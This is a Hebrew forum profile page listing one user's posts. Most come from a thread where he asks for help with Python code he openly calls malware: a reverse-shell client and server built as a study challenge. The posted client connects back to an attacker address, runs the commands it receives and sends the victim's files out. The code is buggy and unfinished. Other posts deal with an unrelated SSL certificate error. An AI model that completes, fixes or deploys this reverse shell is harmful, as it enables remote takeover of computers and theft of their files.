דילוג לתוכן
  • דף הבית
  • קטגוריות
  • פוסטים אחרונים
  • משתמשים
  • חיפוש
  • חוקי הפורום
כיווץ
תחומים

תחומים - פורום חרדי מקצועי

💡 רוצה לזכור קריאת שמע בזמן? לחץ כאן!
AndroidA

Android

@Android
אודות
פוסטים
61
נושאים
7
קבוצות
0
עוקבים
0
עוקב אחרי
0

פוסטים

פוסטים אחרונים הגבוה ביותר שנוי במחלוקת

  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי זה נופל בשורה הזו

    output = os.popen(command).read()
    

    עדיף להשתמש בsubprocess?


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    למעשה הצלחתי לפתור את הבעיה, הייתה איזו שורה לא במקום...
    אבל אני עדיין לא מצליח להריץ את הפקודות הנ"ל

    @Android כתב בבעיה בבניית CNC בפייתון:

    בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח


  • פתרון למוכר שלא שולח לישראל
    AndroidA Android

    @שמואל-ש כתב בפתרון למוכר שלא שולח לישראל:

    יש לי גם עוד כמה שצריכים את זה!

    dfda5b9c-f56d-4829-a0e1-190d4b18ec42-image.png


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי כתב בבעיה בבניית CNC בפייתון:

    האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

    אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
    אשמח להסבר או להפנייה להסבר. תודה


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי כתב בבעיה בבניית CNC בפייתון:

    היינו לדבג

    אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי אתה טוען שהdef מיותר? אני אמחק?
    (מהפורום כמובן)


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי כתב בבעיה בבניית CNC בפייתון:

    ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.

    הסרבר מתחיל בsend והקליינט בrecv
    הrecv בסרבר שבא אחרי הif נועד כדי לוודא שגם הקליינט נכנס לפונקצייה

    @Android כתב בבעיה בבניית CNC בפייתון:

    if command == "file":
    output = client_socket.recv(2048).decode()
    file()


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @חגי כתב בבעיה בבניית CNC בפייתון:

    @Android
    רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
    רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.

    וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?

    מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
    זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
    בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

    מקווה שעכשיו זה יותר ברור אבל אם לא אני אנסה להסביר יותר


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @yossiz כתב בבעיה בבניית CNC בפייתון:

    @Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
    (שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)

    :smile::smile:
    זה לא מספיק?

    @Android כתב בבעיה בבניית CNC בפייתון:

    הבעיות ככל הנראה נמצאות ב CLI

    כי יותר מזה אני לא יודע
    ניסיתי ובדקתי ולא הגעתי למסקנה מה לא כשורה


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    @אף-אחד-3 אני רוצה שזה יהיה עם ממשק כלומר שאני יכול להריץ פקודה אחר פקודה ע"י input


  • בעיה בבניית CNC בפייתון
    AndroidA Android

    כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
    אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
    מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
    זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
    בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

    נ.ב. סורי שאין הערות...
    זה הסרבר:

    import socket
    
    host = "0.0.0.0"
    port = 1213
    
    server_socket = socket.socket()
    print("[-] Socket created")
    server_socket.bind((host, port))
    print("[-] Connection binded")
    server_socket.listen()
    print("Waiting for new connection...")
    (client_socket, client_address) = server_socket.accept()
    print(f"victim connected!(address: {client_address}")
    
    # transfers files
    def file():
        while True:  # The path to file
            path_file = input("Please enter the requested file path without the file name: ")
            client_socket.send(path_file.encode())
            data = client_socket.recv(4096).decode()
            if "error" in data.lower():
                print(data)
            else: break
    
        while True:  # file name
            global file_name
            file_name = input("Please enter the name of the requested file (example: image.jpg): ")
            client_socket.send(file_name.encode())
            client_socket.recv(4096).decode()
            if "error" in data.lower():
                print(data)
            else: break
    
        if file_name.lower() != "exit":
            file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb")
            size = client_socket.recv(1024).decode()
            size = int(size)
            while size > 0:
                file.write(client_socket.recv(1000))
                size -= 1000
            file.close()
        print("returns to CMD")
    
    # CLI
    command = input("CMD> ")
    
    while command.lower() != "exit":
        if command == "file":
            output = client_socket.recv(2048).decode()
            file()
        client_socket.send(command.encode())
        output = client_socket.recv(4096).decode()
        print(output)
        command = input("CMD> ")
    
    client_socket.send("exit".encode())
    client_socket.close()
    server_socket.close()
    

    וזה הקליינט:

    import socket
    import os
    
    server = "10.0.0.4"
    port = 1213
    
    client_socket = socket.socket()
    client_socket.connect((server, port))
    print("Client connect")
    
    # trasfers files
    def file():
        print("in the 'TF'")
        while True:
            path_file = client_socket.recv(2048).decode()
            try:
                os.popen(f"cd {path_file}")
                client_socket.send("Excellent".encode())
                break
            except: client_socket.send("Error!! Please try again".encode())
    
        while True:
            file_name = client_socket.recv(2048).decode()
            try:
                global file
                file = open(file_name, "rb")
                global size
                size = os.path.getsize(file_name)
                client_socket.send("Excellent".encode())
                break
            except: client_socket.send("Error!! Please try again".encode())
    
    
        client_socket.send(str(size).encode())
    
        while size > 0:
            client_socket.send(file.read(1000))
            size -= 1000
    
        file.close()
    # CLI
    command = client_socket.recv(2048).decode()
    print(command)
    while command.lower() != "exit":
        print(command)
        if command == "file":
            client_socket.send("in the 'TF'".encode())
            file()
        try:
            output = os.popen(command).read()
            client_socket.send(f" {output}".encode())
            command = client_socket.recv(2048).decode()
        except:
            client_socket.send("Error!!\nPlease try again".encode())
            command = client_socket.recv(2048).decode()
    
    
    client_socket.close()
    

    הוספתי כמה פרינטים כדי למצוא את הבעיה...
    אשמח לכל הערה ו\או הארה
    מקווה שלא טעיתי בקוד

    הקוד בתהליך בניה


  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים כתב באשמח לעזרה בקוד פייתון:

    הפקודה שהבאת נראית הגיונית, תנסה אולי לסגור את חלון הטרמינל ולפתוח אותו מחדש

    ניסיתי גם להריץ כמנהל וזה עדיין לא עובד

    requests.exceptions.SSLError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)')))
    
    

  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים הרצתי את זה ועדיין לא עובד

    type "C:\Users\h\Downloads\myca.crt">>"C:\Users\h\AppData\Local\Programs\Python\Python310\lib\site-packages\certifi\cacert.pem"
    

  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים את זה?
    3fff0834-7199-4182-8069-0fb4f01d006b-image.png
    אני יצטרך להוסיף את זה לכל סקריפט?


  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים יש לי סינון של רימון, זה גם יכול להוות בעיה?
    אם כן איך אני מתקין את התעודה?
    תודה


  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים כתב באשמח לעזרה בקוד פייתון:

    import requests
    url = requests.get(f"http://digitalwhisper.co.il/files/Zines/0x08/DigitalWhisper8.pdf")
    with open(fr"C:\Users\shlomo\Desktop\DigitalWhisper8.pdf", "wb") as file_net: file_net.write(url.content)

    עכשיו ניסיתי את זה וזה לא עובד לי, מוזר 🤔

    אלה השגיאות:

    Traceback (most recent call last):
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 703, in urlopen
        httplib_response = self._make_request(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 386, in _make_request
        self._validate_conn(conn)
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 1040, in _validate_conn
        conn.connect()
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connection.py", line 414, in connect
        self.sock = ssl_wrap_socket(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\ssl_.py", line 449, in ssl_wrap_socket
        ssl_sock = _ssl_wrap_socket_impl(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\ssl_.py", line 493, in _ssl_wrap_socket_impl
        return ssl_context.wrap_socket(sock, server_hostname=server_hostname)
      File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 512, in wrap_socket
        return self.sslsocket_class._create(
      File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 1070, in _create
        self.do_handshake()
      File "C:\Users\h\AppData\Local\Programs\Python\Python310\lib\ssl.py", line 1341, in do_handshake
        self._sslobj.do_handshake()
    ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\adapters.py", line 440, in send
        resp = conn.urlopen(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\connectionpool.py", line 785, in urlopen
        retries = retries.increment(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\urllib3\util\retry.py", line 592, in increment
        raise MaxRetryError(_pool, url, error or ResponseError(cause))
    urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)')))
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "C:\Users\h\desktop\python\pythonProject\BeautifulSoup4.py", line 10, in <module>
        url = requests.get("http://digitalwhisper.co.il/files/Zines/0x08/DigitalWhisper8.pdf")
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\api.py", line 75, in get
        return request('get', url, params=params, **kwargs)
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\api.py", line 61, in request
        return session.request(method=method, url=url, **kwargs)
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 529, in request
        resp = self.send(prep, **send_kwargs)
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 667, in send
        history = [resp for resp in gen]
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 667, in <listcomp>
        history = [resp for resp in gen]
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 237, in resolve_redirects
        resp = self.send(
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\sessions.py", line 645, in send
        r = adapter.send(request, **kwargs)
      File "C:\Users\h\Desktop\Python\pythonProject\venv\lib\site-packages\requests\adapters.py", line 517, in send
        raise SSLError(e, request=request)
    requests.exceptions.SSLError: HTTPSConnectionPool(host='www.digitalwhisper.co.il', port=443): Max retries exceeded with url: /files/Zines/0x08/DigitalWhisper8.pdf (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:997)')))
    
    

  • אשמח לעזרה בקוד פייתון
    AndroidA Android

    @צדיק-תמים בהתחלה הייתה תמונה אבל היא הוסרה
    d40641c0-35ff-4f9a-a7fd-4c3b49ddefdd-image.png

  • 1 / 1
  • התחברות

  • אין לך חשבון עדיין? הרשמה

  • התחברו או הירשמו כדי לחפש.
  • פוסט ראשון
    פוסט אחרון
0
  • דף הבית
  • קטגוריות
  • פוסטים אחרונים
  • משתמשים
  • חיפוש
  • חוקי הפורום